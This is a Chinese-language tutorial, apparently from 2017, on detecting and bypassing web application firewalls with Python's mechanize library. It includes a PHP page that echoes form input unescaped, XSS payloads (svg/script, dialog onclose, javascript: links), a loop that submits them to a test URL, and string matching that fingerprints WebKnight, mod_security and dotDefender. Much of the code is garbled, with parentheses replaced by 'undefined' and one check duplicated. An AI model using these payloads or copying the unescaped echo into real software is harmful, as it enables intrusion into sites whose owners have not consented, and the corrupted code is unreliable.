本文讲的是
使用Python检测并绕过Web应用程序防火墙,
Web应用防火墙通常放置在Web服务器的前面,以过滤来自服务器的恶意流量。如果你去一家公司做渗透测试,他们忘记告诉你,他们使用的Web应用防火墙,可能会影响渗透测试进度。下图描绘了一个简单的Web应用程序防火墙的工作原理:
<script>
alert(*)
HTTP/1.1 406 Not Acceptable Date: Mon, 10 Jan 2016 Server: nginx Content-Type: text/html; charset=iso-8859-1 Not Acceptable!Not Acceptable! An appropriate representation of the
<html> <body> <form name="waf" action="waf.php" method="post"> Data: <input type="text" name="data"><br> <input type="submit" value="Submit"> </form> </body> </html>
<html> <body> Data from the form : <?php echo $_POST["data"]; ?><br> </body> </html>
import mechanize as mec maliciousRequest = mec.Browser() formName = 'waf' maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_form(formName)
在第一行,我们导入了mechanize模块,并给它一个简称'mec'供以后参考。
要使用mechanize下载网页,需要实例化浏览器。我们已经在代码的第二行中做到了。
在第一步,我们定义了我们的HTML文档,其中表单名称为“waf”,我们需要告诉mechanize选择此表单提交,因此我们在名为formName的变量中使用此名称。
比我们打开这个URL,就像我们在浏览器中一样。页面打开后,我们填写表单并提交数据,因此页面的打开与此相同。
最后我们选择了使用'select_form'函数传递它'formName'变量的形式。
<input type =“text”name =“data”> <br>
crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>" maliciousRequest.form['data'] = crossSiteScriptingPayLoad
第一行将我们的有效载荷保存在变量中。
在第二行代码中,我们已将我们的有效内容分配给表单字段“数据”。
maliciousRequest.submit() response=maliciousRequest.response().read() print response
提交表单
将响应保存在变量中。
打印回应。
WebKnight
mod_security
Dot Defender
if response.find('WebKnight') >= 0: print "Firewall detected: WebKnight" elif response.find('Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.find('Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.find('dotDefender') >= 0: print "Firewall detected: Dot Defender" else: print "No Firewall Present"
listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt( 1)<i>', '<a href="javascript:alertundefined1)">CLICK ME<a>'] for payLoads in listofPayloads: maliciousRequest = mec.Browserundefined) formName = 'waf' maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_formundefinedformName) maliciousRequest.form['data'] = payLoads maliciousRequest.submitundefined) response = maliciousRequest.responseundefined).readundefined) if response.findundefined'WebKnight') >= 0: print "Firewall detected: WebKnight" elif response.findundefined'Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.findundefined'Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.findundefined'dotDefender') >= 0: print "Firewall detected: Dot Defender" else: print "No Firewall Present"
在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效负载。
然后在for循环中,我们做了与上面所做的相同的过程,但是这一次对于列表中的每个有效载荷。
收到响应后,我们再次比较看看防火墙是否存在。
listofPayloads = ['<b>','u003cbu003e','x3cbx3e'] for payLoads in listofPayloads: maliciousRequest = mec.Browser() formName = 'waf' maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_form(formName) maliciousRequest.form['data'] = payLoads maliciousRequest.submit() response = maliciousRequest.response().read() print "---------------------------------------------------" print response print "---------------------------------------------------"
原文发布时间为:2017年6月23日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。